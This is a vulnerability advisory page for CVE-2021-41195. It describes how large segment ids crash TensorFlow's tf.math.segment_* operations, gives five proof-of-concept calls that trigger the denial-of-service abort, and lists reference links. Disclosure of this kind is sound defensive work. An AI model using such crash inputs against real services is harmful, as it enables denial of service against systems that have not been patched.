CVE-2021-41195: Crash in `tf.math.segment_*` operations
(updated )
The implementation of tf.math.segment_* operations results in a CHECK-fail related abort (and denial of service) if a segment id in segment_ids is large.
import tensorflow as tf
tf.math.segment_max(data=np.ones((1,10,1)), segment_ids=[1676240524292489355])
tf.math.segment_min(data=np.ones((1,10,1)), segment_ids=[1676240524292489355])
tf.math.segment_mean(data=np.ones((1,10,1)), segment_ids=[1676240524292489355])
tf.math.segment_sum(data=np.ones((1,10,1)), segment_ids=[1676240524292489355])
tf.math.segment_prod(data=np.ones((1,10,1)), segment_ids=[1676240524292489355])
References
- github.com/advisories/GHSA-cq76-mxrc-vchh
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-844.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-846.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-842.yaml
- github.com/tensorflow/tensorflow
- github.com/tensorflow/tensorflow/commit/e9c81c1e1a9cd8dd31f4e83676cab61b60658429
- github.com/tensorflow/tensorflow/issues/46888
- github.com/tensorflow/tensorflow/pull/51733
- github.com/tensorflow/tensorflow/security/advisories/GHSA-cq76-mxrc-vchh
- nvd.nist.gov/vuln/detail/CVE-2021-41195
Code Behaviors & Features
Detect and mitigate CVE-2021-41195 with GitLab Dependency Scanning
Secure your software supply chain by verifying that all open source dependencies used in your projects contain no disclosed vulnerabilities. Dependency Scanning using SBOM also detects vulnerabilities from proprietary advisories that this site does not include. Learn more about Dependency Scanning using SBOM →